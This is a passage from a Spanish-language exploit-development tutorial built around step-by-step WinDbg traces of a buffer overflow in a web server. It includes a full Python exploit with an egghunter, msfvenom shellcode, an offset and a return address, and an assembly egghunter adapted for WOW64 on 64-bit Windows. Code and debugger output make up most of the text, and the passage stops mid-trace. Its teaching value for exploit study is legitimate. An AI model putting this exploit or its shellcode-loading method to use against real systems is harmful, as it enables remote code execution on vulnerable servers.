eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400000
eip=01adeaaa esp=01adea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
01adeaaa af              scas    dword ptr es:[edi]   es:0023:00400000=00905a4d  

0:000> db 0x00400000 L4
00400000  4d 5a 90 00                                      MZ..

Si la comparación falla es que aun no ha encontrado el huevo que enviamos antes del shellcode por lo que volvera a incrementar la dirección en una unidad

0:000> r
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400000
eip=01adeaaa esp=01adea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
01adeaaa af              scas    dword ptr es:[edi]   es:0023:00400000=00905a4d  

0:000> p
eax=74303077 ebx=001a2aa8 ecx=01adea20 edx=00400000 esi=001a2aa8 edi=00400004
eip=01adeaab esp=01adea24 ebp=41414141 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
01adeaab 75e7            jne     01adea94                                [br=1]  

0:000> u 01adea94
01adea94 42              inc     edx
01adea95 52              push    edx
01adea96 31c0            xor     eax,eax
01adea98 66b8c901        mov     ax,1C6h
01adea9c cd2e            int     2Eh
01adea9e 3c05            cmp     al,5
01adeaa0 5a              pop     edx
01adeaa1 74ec            je      01adea8f

Para ahorrar tiempo buscaremos el huevo en toda la memoria y la dirección donde sabemos que esta la guardaremos en edi para asi cumplir la condición

0:000> s -a 0 L?80000000 w00tw00t
03be8183  77 30 30 74 77 30 30 74-43 43 43 43 43 43 43 43  w00tw00tCCCCCCCC  

0:000> r edi=0x03be8183

Ahora cuando compara el contenido de edi con eax la condicion se cumple por lo que no aumentara la dirección sino que seguira con el flujo del programa

0:000> r
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8183
eip=037deaaa esp=037dea24 ebp=41414141 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
037deaaa af              scas    dword ptr es:[edi]   es:0023:03be8183=74303077

0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaab esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
037deaab 75e7            jne     037dea94                                [br=0]

0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaad esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
037deaad af              scas    dword ptr es:[edi]   es:0023:03be8187=743030773

Si lo encuentra una vez volvera a comprobar que los siguientes bytes son nuevamente del huevo, esto como dijimos antes se hace para evitar falsos positivos, si la comparación es igual la siguiente instrucción saltará al registro edi

0:000> r
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be8187
eip=037deaad esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
037deaad af              scas    dword ptr es:[edi]   es:0023:03be8187=74303077  

0:000> db edi L10
03e8c19f  77 30 30 74 43 43 43 43-43 43 43 43 43 43 43 43  w00tCCCCCCCCCCCC

0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b
eip=037deaae esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
037deaae 75e4            jne     037dea94                                [br=0]  

0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b
eip=037deab0 esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
037deab0 ffe7            jmp     edi {03be818b}

Y como el registro edi apunta a nuestro shellcode cuando salte ejecutará las instrucciones que enviemos después del huevo, asi logramos ejecutar el shellcode

0:000> db edi
03be818b  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be819b  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81ab  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81bb  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81cb  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81db  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81eb  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC
03be81fb  43 43 43 43 43 43 43 43-43 43 43 43 43 43 43 43  CCCCCCCCCCCCCCCC

0:000> p
eax=74303077 ebx=001a2aa8 ecx=037dea20 edx=00400001 esi=001a2aa8 edi=03be818b  
eip=03be818b esp=037dea24 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246  
03be818b 43              inc     ebx

Ya que tenemos una forma de ejecutar instrucciones podemos generar un shellcode con msfvenom que en caso de interpretarse ejecute el comando calc.exe

❯ msfvenom -p windows/exec CMD=calc.exe -f python -v shellcode -b '\x00\x0a\x0d' -e x86/jmp_call_additive  
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/jmp_call_additive
x86/jmp_call_additive succeeded with size 225 (iteration=0)
x86/jmp_call_additive chosen with final size 225
Payload size: 225 bytes
Final size of python file: 1274 bytes
shellcode =  b""
shellcode += b"\xfc\xbb\xb5\xf0\xa4\xca\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x49\x18\x26\xca\xb1\xd9\x47\x42"
shellcode += b"\x54\xe8\x47\x30\x1d\x5b\x78\x32\x73\x50\xf3"
shellcode += b"\x16\x67\xe3\x71\xbf\x88\x44\x3f\x99\xa7\x55"
shellcode += b"\x6c\xd9\xa6\xd5\x6f\x0e\x08\xe7\xbf\x43\x49"
shellcode += b"\x20\xdd\xae\x1b\xf9\xa9\x1d\x8b\x8e\xe4\x9d"
shellcode += b"\x20\xdc\xe9\xa5\xd5\x95\x08\x87\x48\xad\x52"
shellcode += b"\x07\x6b\x62\xef\x0e\x73\x67\xca\xd9\x08\x53"
shellcode += b"\xa0\xdb\xd8\xad\x49\x77\x25\x02\xb8\x89\x62"
shellcode += b"\xa5\x23\xfc\x9a\xd5\xde\x07\x59\xa7\x04\x8d"
shellcode += b"\x79\x0f\xce\x35\xa5\xb1\x03\xa3\x2e\xbd\xe8"
shellcode += b"\xa7\x68\xa2\xef\x64\x03\xde\x64\x8b\xc3\x56"
shellcode += b"\x3e\xa8\xc7\x33\xe4\xd1\x5e\x9e\x4b\xed\x80"
shellcode += b"\x41\x33\x4b\xcb\x6c\x20\xe6\x96\xfa\xb7\x74"
shellcode += b"\xad\x49\xb7\x86\xad\xfd\xd0\xb7\x26\x92\xa7"
shellcode += b"\x47\xed\xd6\x58\x02\xaf\x7f\xf1\xcb\x3a\xc2"
shellcode += b"\x9c\xeb\x91\x01\x99\x6f\x13\xfa\x5e\x6f\x56"
shellcode += b"\xff\x1b\x37\x8b\x8d\x34\xd2\xab\x22\x34\xf7"
shellcode += b"\xc8\xa5\xa6\x9b\x20\x43\x4f\x39\x3c\x8b\xaf"
shellcode += b"\xc1\x3c\x8b\xaf\xc1"

El exploit final guardará el huevo w00tw00t seguido del shellcode en algun lugar de la memoria y al ejecutar el egghunter este lo buscara y cuando lo encuentre lo ejecutará

#!/usr/bin/python3
from pwn import remote, p32, asm

egg = b"w00t" * 2
egghunter = b"\x31\xd2\x66\x81\xca\xff\x0f\x42\x52\x31\xc0\x66\xb8\xc9\x01\xcd\x2e\x3c\x05\x5a\x74\xec\xb8\x77\x30\x30\x74\x89\xd7\xaf\x75\xe7\xaf\x75\xe4\xff\xe7"  

shellcode =  b""
shellcode += b"\xfc\xbb\xc2\x02\xd8\xe2\xeb\x0c\x5e\x56\x31"
shellcode += b"\x1e\xad\x01\xc3\x85\xc0\x75\xf7\xc3\xe8\xef"
shellcode += b"\xff\xff\xff\x3e\xea\x5a\xe2\xbe\xeb\x3a\x6a"
shellcode += b"\x5b\xda\x7a\x08\x28\x4d\x4b\x5a\x7c\x62\x20"
shellcode += b"\x0e\x94\xf1\x44\x87\x9b\xb2\xe3\xf1\x92\x43"
shellcode += b"\x5f\xc1\xb5\xc7\xa2\x16\x15\xf9\x6c\x6b\x54"
shellcode += b"\x3e\x90\x86\x04\x97\xde\x35\xb8\x9c\xab\x85"
shellcode += b"\x33\xee\x3a\x8e\xa0\xa7\x3d\xbf\x77\xb3\x67"
shellcode += b"\x1f\x76\x10\x1c\x16\x60\x75\x19\xe0\x1b\x4d"
shellcode += b"\xd5\xf3\xcd\x9f\x16\x5f\x30\x10\xe5\xa1\x75"
shellcode += b"\x97\x16\xd4\x8f\xeb\xab\xef\x54\x91\x77\x65"
shellcode += b"\x4e\x31\xf3\xdd\xaa\xc3\xd0\xb8\x39\xcf\x9d"
shellcode += b"\xcf\x65\xcc\x20\x03\x1e\xe8\xa9\xa2\xf0\x78"
shellcode += b"\xe9\x80\xd4\x21\xa9\xa9\x4d\x8c\x1c\xd5\x8d"
shellcode += b"\x6f\xc0\x73\xc6\x82\x15\x0e\x85\xc8\xe8\x9c"
shellcode += b"\xb0\xbf\xeb\x9e\xba\xef\x83\xaf\x31\x60\xd3"
shellcode += b"\x2f\x90\xc4\x2b\x7a\xb8\x6d\xa4\x23\x29\x2c"
shellcode += b"\xa9\xd3\x84\x73\xd4\x57\x2c\x0c\x23\x47\x45"
shellcode += b"\x09\x6f\xcf\xb6\x63\xe0\xba\xb8\xd0\x01\xef"
shellcode += b"\xdb\xb7\x91\x73\x35\x5d\x12\x11\x49\x9d\xe2"
shellcode += b"\xd9\x49\x9d\xe2\xd9"

offset = 253
junk = b"A" * (offset - len(egghunter))

ret = p32(0x00418674)

payload  = b""
payload += egghunter
payload += junk
payload += ret

method  = b""
method += asm("xor eax, eax")
method += asm("jle $+0x17")

content  = b""
content += method + b" /" + payload + b"\r\n\r\n"
content += egg + shellcode

shell = remote("Windows", 80)
shell.sendline(content)

Como resultado conseguimos controlar el programa y ejecutar el shellcode que ejecuta el comando calc.exe por lo que se abre una calculadora en la maquina


EggHunter wow64


El egghunter funciona en un Windows 10 x86 pero ¿que pasa si corremos un programa x86 en un sistema operativo x64? pues no funciona, nos da un error de acceso al ejecutar la llamada al sistema, esto pasa porque en x64 no podemos hacer una llamada al sistema con una interrupción, tendremos que buscar alternativas

0:000> g
(1cd0.1d20): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=000001c6 ebx=02352ca0 ecx=0000000e edx=00001000 esi=02352ca0 edi=0041703c  
eip=043dea9c esp=043dea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
043dea9c cd2e            int     2Eh

0:000> p
(1cd0.1d20): Access violation - code c0000005 (!!! second chance !!!)
eax=000001c6 ebx=02352ca0 ecx=0000000e edx=00001000 esi=02352ca0 edi=0041703c  
eip=043dea9c esp=043dea20 ebp=41414141 iopl=0         nv up ei pl zr na pe nc  
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246  
043dea9c cd2e            int     2Eh

Para no tener que trabajar desde savant podemos compilar el codigo asm en un .exe y abrirlo en windbg indicando que queremos usar la arquitectura x64

❯ nasm -f elf egghunter.asm -o egghunter.o
❯ ld egghunter.o -m i386pe -o egghunter.exe  

El egghunter al ser un programa compilado en x86 en un sistema x64 podemos ver 2 versiones de cada modulo como ntdll.dll acompañado de ntdll32.dll

0:000> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc              int     3

0:000:x86> lm
start    end        module name
00c20000 00c23000   egghunter   (deferred)             
764d0000 76744000   KERNELBASE   (deferred)             
77500000 775f0000   KERNEL32   (deferred)             
77d80000 77d8a000   wow64cpu   (deferred)             
77d90000 77f41000   ntdll32    (pdb symbols)
8fd00000 8fd09000   wow64base   (deferred)             
904f0000 90547000   wow64      (deferred)             
909c0000 90a4b000   wow64win   (deferred)             
90a50000 90a66000   wow64con   (deferred)             
00007ffe`914d0000 00007ffe`916e6000   ntdll      (pdb symbols)

En sistemas x64 el syscall NR de NtAccessCheckAndAuditAlarm se ha mantenido bastante estatico entre versiones, este ha sido 0x29 hasta las versiones actuales

0:000:x86> u ntdll32!NtAccessCheckAndAuditAlarm
ntdll32!NtAccessCheckAndAuditAlarm:
77e06a00 b829000000      mov     eax,29h
77e06a05 ba6091e277      mov     edx,offset ntdll32!Wow64SystemServiceCall (77e29160)  
77e06a0a ffd2            call    edx
77e06a0c c22c00          ret     2Ch
77e06a0f 90              nop
ntdll32!NtUnmapViewOfSection:
77e06a10 b82a000000      mov     eax,2Ah
77e06a15 ba6091e277      mov     edx,offset ntdll32!Wow64SystemServiceCall (77e29160)  
77e06a1a ffd2            call    edx

¿Como hacer una llamada al sistema sin int? dentro de la estructura TEB con un offset de 0xc0 podemos ver un puntero llamado WOW32Reserved, esto apunta hacia hacia wow64cpu!KiFastSystemCall que podemos usar para hacer la llamada

0:000:x86> dt ntdll32!_TEB
   +0x000 NtTib            : _NT_TIB
   +0x01c EnvironmentPointer : Ptr32 Void
   +0x020 ClientId         : _CLIENT_ID
   +0x028 ActiveRpcHandle  : Ptr32 Void
   +0x02c ThreadLocalStoragePointer : Ptr32 Void
   +0x030 ProcessEnvironmentBlock : Ptr32 _PEB
   +0x034 LastErrorValue   : Uint4B
   +0x038 CountOfOwnedCriticalSections : Uint4B
   +0x03c CsrClientThread  : Ptr32 Void
   +0x040 Win32ThreadInfo  : Ptr32 Void
   +0x044 User32Reserved   : [26] Uint4B
   +0x0ac UserReserved     : [5] Uint4B
   +0x0c0 WOW32Reserved    : Ptr32 Void
   +0x0c4 CurrentLocale    : Uint4B
   +0x0c8 FpSoftwareStatusRegister : Uint4B

0:000:x86> dds fs:[0xc0] L1
0053:000000c0  77d87000 wow64cpu!KiFastSystemCall  

A nuestro codigo agregaremos un int3 para establecer un breakpoint y cambiamos el int 0x2e por una llamada a 0xc0 del segmento fs que apunta a el TEB

global _start

_start:
    int3
    xor edx, edx            ; $edx = 0x0

    .page:
        or dx, 0xfff        ; get last address in page

    .find:
        inc edx             ; increase memory counter
        push edx            ; push value to stack

        push 0x29           ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm

        xor ebx, ebx        ; $ebx = 0x0
        mov bl, 0xc0        ; wow64cpu!KiFastSystemCall
        call [fs:ebx]       ; syscall

        cmp al, 0x5         ; check ACCESS_VIOLATION (0xc0000005)
        
        pop edx             ; restore edx
        jz .page            ; if zf == 1 -> next page

        mov eax, 0x74303077 ; $eax = "w00t"
        mov edi, edx        ; $edi = address

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        scasd               ; cmp eax, [edi]
        jnz .find           ; if zf == 0 -> loop

        jmp edi             ; if zf == 1 -> exec

El int3 en el inicio nos permite ejecutar el .exe y detenernos antes del egghunter

0:000> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc              int     3
0:000:x86> g
(1cc8.296c): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
egghunter+0x1000:
00c21000 cc              int     3

0:000:x86> u eip L14
egghunter+0x1000:
00c21000 cc              int     3
00c21001 31d2            xor     edx,edx
00c21003 6681caff0f      or      dx,0FFFh
00c21008 42              inc     edx
00c21009 52              push    edx
00c2100a 6a29            push    29h
00c2100c 58              pop     eax
00c2100d 31db            xor     ebx,ebx
00c2100f b3c0            mov     bl,0C0h
00c21011 64ff13          call    dword ptr fs:[ebx]
00c21014 3c05            cmp     al,5
00c21016 5a              pop     edx
00c21017 74ea            je      egghunter+0x1003 (00c21003)
00c21019 b877303074      mov     eax,74303077h
00c2101e 89d7            mov     edi,edx
00c21020 af              scas    dword ptr es:[edi]
00c21021 75e5            jne     egghunter+0x1008 (00c21008)
00c21023 af              scas    dword ptr es:[edi]
00c21024 75e2            jne     egghunter+0x1008 (00c21008)
00c21026 ffe7            jmp     edi

El egghunter tal cual como está nos dará un par de problemas asi que analizaremos la función whNtAccessCheckAndAuditAlarm dentro del contexto de ejecución wow64

0:000> u wow64!whNtAccessCheckAndAuditAlarm L10
wow64!whNtAccessCheckAndAuditAlarm:
00007ff8`a7d86d10 48895c2410       mov     qword ptr [rsp+10h],rbx
00007ff8`a7d86d15 4889742418       mov     qword ptr [rsp+18h],rsi
00007ff8`a7d86d1a 57               push    rdi
00007ff8`a7d86d1b 4154             push    r12
00007ff8`a7d86d1d 4155             push    r13
00007ff8`a7d86d1f 4156             push    r14
00007ff8`a7d86d21 4157             push    r15
00007ff8`a7d86d23 4881ecb0000000   sub     rsp,0B0h
00007ff8`a7d86d2a 488b054f840200   mov     rax,qword ptr [wow64!_security_cookie (00007ff8`a7daf180)]  
00007ff8`a7d86d31 4833c4           xor     rax,rsp
00007ff8`a7d86d34 48898424a0000000 mov     qword ptr [rsp+0A0h],rax
00007ff8`a7d86d3c 8b01             mov     eax,dword ptr [rcx]
00007ff8`a7d86d3e 448b4904         mov     r9d,dword ptr [rcx+4]
00007ff8`a7d86d42 8b5108           mov     edx,dword ptr [rcx+8]
00007ff8`a7d86d45 448b410c         mov     r8d,dword ptr [rcx+0Ch]
00007ff8`a7d86d49 448b5110         mov     r10d,dword ptr [rcx+10h]

Lo que mas destaca de primeras es que mueve a diferentes registros de 32 bits los dwords dentro del registro rcx, inspeccionaremos que hay en ese registro

mov     eax,dword ptr [rcx]
mov     r9d,dword ptr [rcx+4]
mov     edx,dword ptr [rcx+8]
mov     r8d,dword ptr [rcx+0Ch]
mov     r10d,dword ptr [rcx+10h]

Vamos a ejecutar el egghunter para detenernos en la llamada a fs:[0xc0], en el stack hemos almacenado el valor de la página en edx y hay algunos punteros más

0:000:x86> g 0x00c21011
egghunter+0x1011:
00c21011 64ff13          call    dword ptr fs:[ebx]   fs:0053:000000c0=00000000  

0:000:x86> dds esp L4
007ffa9c  00001000
007ffaa0  77517ba9 KERNEL32!BaseThreadInitThunk+0x19
007ffaa4  004ed000
007ffaa8  77517b90 KERNEL32!BaseThreadInitThunk

0:000:x86> r
eax=00000029 ebx=000000c0 ecx=00c21000 edx=00001000 esi=00c21000 edi=00c21000
eip=00c21011 esp=007ffa9c ebp=007ffaac iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
egghunter+0x1011:
00c21011 64ff13          call    dword ptr fs:[ebx]   fs:0053:000000c0=00000000  

El primer problema viene en los movs, guarda en registros los valores de [rcx] que apunta a 0x007ffaa0 que antes del call apuntaba a esp + 4, edx es uno de los que modifica pero para nosotros es importante que el valor de edx sea el de la página, la buena noticia es que los valores los saca del stack por lo que podriamos controlarlo, edx ahora vale 0x77517b90 que antes de la llamada estaba en esp + 0xc

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0x2c
wow64!whNtAccessCheckAndAuditAlarm+0x2c:
00007ffe`9051601c 8b01            mov     eax,dword ptr [rcx] ds:00000000`007ffaa0=77517ba9

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x2e:
00007ffe`9051601e 448b4904        mov     r9d,dword ptr [rcx+4] ds:00000000`007ffaa4=004ed000

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x32:
00007ffe`90516022 8b5108          mov     edx,dword ptr [rcx+8] ds:00000000`007ffaa8=77517b90

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c        mov     r8d,dword ptr [rcx+0Ch] ds:00000000`007ffaac=007ffb04  

0:000> r
rax=0000000077517ba9 rbx=00000000004f0000 rcx=00000000007ffaa0
rdx=0000000077517b90 rsi=00007ffe90515ff0 rdi=00000000004ee000
rip=00007ffe90516025 rsp=00000000002fe030 rbp=00000000007ffaac
 r8=0000000000000000  r9=00000000004ed000 r10=00007ffe90544050
r11=00000000007ffaa0 r12=00000000004ee000 r13=00000000002ffda0
r14=00000000004ef498 r15=00000000007ffaa0
iopl=0         nv up ei pl nz na pe nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c        mov     r8d,dword ptr [rcx+0Ch] ds:00000000`007ffaac=007ffb04  

Si a edx le asigna el valor de esp + 0xc podemos hacer un push de 3 dword con valor 0x0 y el siguiente push el valor de edx para que apunte a esa dirección

    .find:
        inc edx             ; increase memory counter
        xor ebx, ebx        ; $ebx = 0x0

        push edx            ; push value to stack
        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push ebx            ; push 0x0

        push 0x29           ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm  

        mov bl, 0xc0        ; wow64cpu!KiFastSystemCall
        call [fs:ebx]       ; syscall
        add esp, 0xc        ; clear stack

Nuestro egghunter ahora se ve de esta forma, veamos como se comporta esta vez

0:000> g
(15e4.2e74): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
ntdll32!LdrpDoDebuggerBreak+0x2b:
77e48107 cc              int     3

0:000:x86> g
(15e4.2e74): WOW64 breakpoint - code 4000001f (first chance)
First chance exceptions are reported before any exception handling.  
This exception may be expected and handled.
egghunter+0x1000:
00991000 cc              int     3

0:000:x86> u eip L18
egghunter+0x1000:
00991000 cc              int     3
00991001 31d2            xor     edx,edx
00991003 6681caff0f      or      dx,0FFFh
00991008 42              inc     edx
00991009 31db            xor     ebx,ebx
0099100b 52              push    edx
0099100c 53              push    ebx
0099100d 53              push    ebx
0099100e 53              push    ebx
0099100f 6a29            push    29h
00991011 58              pop     eax
00991012 b3c0            mov     bl,0C0h
00991014 64ff13          call    dword ptr fs:[ebx]
00991017 83c40c          add     esp,0Ch
0099101a 3c05            cmp     al,5
0099101c 5a              pop     edx
0099101d 74e4            je      egghunter+0x1003 (00991003)
0099101f b877303074      mov     eax,74303077h
00991024 89d7            mov     edi,edx
00991026 af              scas    dword ptr es:[edi]
00991027 75df            jne     egghunter+0x1008 (00991008)
00991029 af              scas    dword ptr es:[edi]
0099102a 75dc            jne     egghunter+0x1008 (00991008)
0099102c ffe7            jmp     edi

Antes de hacer la llamada en el stack podemos ver 3 dwords con valor 0x0 y en la direccion esp + 0xc se guarda el valor de edx que apunta a la página actual

0:000:x86> g 0x00991014
egghunter+0x1014:
00991014 64ff13          call    dword ptr fs:[ebx]   fs:0053:000000c0=00000000  

0:000:x86> dds esp L4
005ff930  00000000
005ff934  00000000
005ff938  00000000
005ff93c  00001000

Ahora al ejecutar las instrucciones mov, en edx guarda lo que esta en [rcx+8] que equivale a esp + 0xc antes del call por lo que edx vuelve a tener el mismo valor

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0x2c
wow64!whNtAccessCheckAndAuditAlarm+0x2c:
00007ffe`9051601c 8b01            mov     eax,dword ptr [rcx] ds:00000000`005ff934=00000000

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x2e:
00007ffe`9051601e 448b4904        mov     r9d,dword ptr [rcx+4] ds:00000000`005ff938=00000000

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x32:
00007ffe`90516022 8b5108          mov     edx,dword ptr [rcx+8] ds:00000000`005ff93c=00001000

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0x35:
00007ffe`90516025 448b410c        mov     r8d,dword ptr [rcx+0Ch] ds:00000000`005ff940=77517ba9  

Esto deberia bastar pero al ejecutar el egghunter y hacer la llamada con una dirección válida como 0x00400000 el codigo que devuelve es 0xc0000005 como si no existiera

0:000> p
eax=00000029 ebx=000000c0 ecx=00000000 edx=00400000 esi=00401848 edi=00401848
eip=00e1f941 esp=00e1f9b8 ebp=41414141 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
00e1f941 64ff13          call    dword ptr fs:[ebx]   fs:0053:000000c0=77597000  

0:000> p
(1e00.1d5c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c0000005 ebx=000000c0 ecx=00000000 edx=00000000 esi=00401848 edi=00401848
eip=00e1f944 esp=00e1f9b8 ebp=41414141 iopl=0         nv up ei pl nz na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000206
00e1f944 83c40c          add     esp,0Ch

Dentro de la función podemos ver que comprueba si r8d es igual a 0 y si es asi hace un salto condicional pero al no ser 0 mas adelante intenta mover lo que esta en [r8 + 4] sin embargo al no existir el programa corrompe y el egghunter no funciona

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xc5
wow64!whNtAccessCheckAndAuditAlarm+0xc5:
00007ff8`a7d86dd5 4585c0          test    r8d,r8d

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xc8:
00007ff8`a7d86dd8 742f            je      wow64!whNtAccessCheckAndAuditAlarm+0xf9 (00007ff8`a7d86e09) [br=0]  

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xca:
00007ff8`a7d86dda 488db42490000000 lea     rsi,[rsp+90h]

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xd2:
00007ff8`a7d86de2 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`ffff60ed=????????

0:000> p
(7a4.1114): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
wow64!whNtAccessCheckAndAuditAlarm+0xd2:
00007ff8`a7d86de2 418b4004        mov     eax,dword ptr [r8+4] ds:00000000`ffff60ed=????????

Podemos solucionando facilmente seteando r8d a 0 para que se produzca el salto y no llegue a esa instrucción, mirando las instrucciones mueve a r8d lo que este en [rcx+0xc] que antes de la llamada seria esp + 0x10, asi que podemos controlarlo

mov     eax,dword ptr [rcx]
mov     r9d,dword ptr [rcx+4]
mov     edx,dword ptr [rcx+8]
mov     r8d,dword ptr [rcx+0Ch]
mov     r10d,dword ptr [rcx+10h]

La solución es simple, agregar otro push de 0x0 pero esta vez antes del valor de edx, sin embargo despues de la llamada debemos limpiar el stack con un add esp, 0x4

    .find:
        inc edx             ; increase memory counter
        xor ebx, ebx        ; $ebx = 0x0

        push ebx            ; push 0x0
        push edx            ; push value to stack
        push ebx            ; push 0x0
        push ebx            ; push 0x0
        push ebx            ; push 0x0

        push 0x29           ; push NtAccessCheckAndAuditAlarm
        pop eax             ; $eax = NtAccessCheckAndAuditAlarm  

        mov bl, 0xc0        ; wow64cpu!KiFastSystemCall
        call [fs:ebx]       ; syscall
        add esp, 0xc        ; clear stack

        pop edx             ; restore edx
        add esp, 0x4        ; clear stack

Ahora el salto condicional se cumple ya que r8d vale 0 por lo que salta mas adelante

0:000:x86> g wow64!whNtAccessCheckAndAuditAlarm + 0xc5
wow64!whNtAccessCheckAndAuditAlarm+0xc5:
00007ff8`a7d86dd5 4585c0          test    r8d,r8d

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xc8:
00007ff8`a7d86dd8 742f            je      wow64!whNtAccessCheckAndAuditAlarm+0xf9 (00007ff8`a7d86e09) [br=1]  

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xf9:
00007ff8`a7d86e09 498bf0          mov     rsi,r8

Pasamos ese problema pero aun queda otro, dentro de la llamada a una función mueve a rcx el valor de r10 y mas adelante hay un salto condicional si el valor de rcx es 0 y si no es asi ejecuta una comparación con el contenido dentro de [rcx+2] con ax pero al no encontrar la dirección en memoria corrompe

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xfc:
00007ff8`a7d86e0c 498bca          mov     rcx,r10

0:000> p
wow64!whNtAccessCheckAndAuditAlarm+0xff:
00007ff8`a7d86e0f e8808bfeff      call    wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC (00007ff8`a7d6f994)

0:000> t
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC:
00007ff8`a7d6f994 4053            push    rbx

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x2:
00007ff8`a7d6f996 4883ec20        sub     rsp,20h

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x6:
00007ff8`a7d6f99a 33c0            xor     eax,eax

0:000> p
wow64!Wow64ShallowThunkAllocSecurityDescriptor32TO64_FNC+0x8:
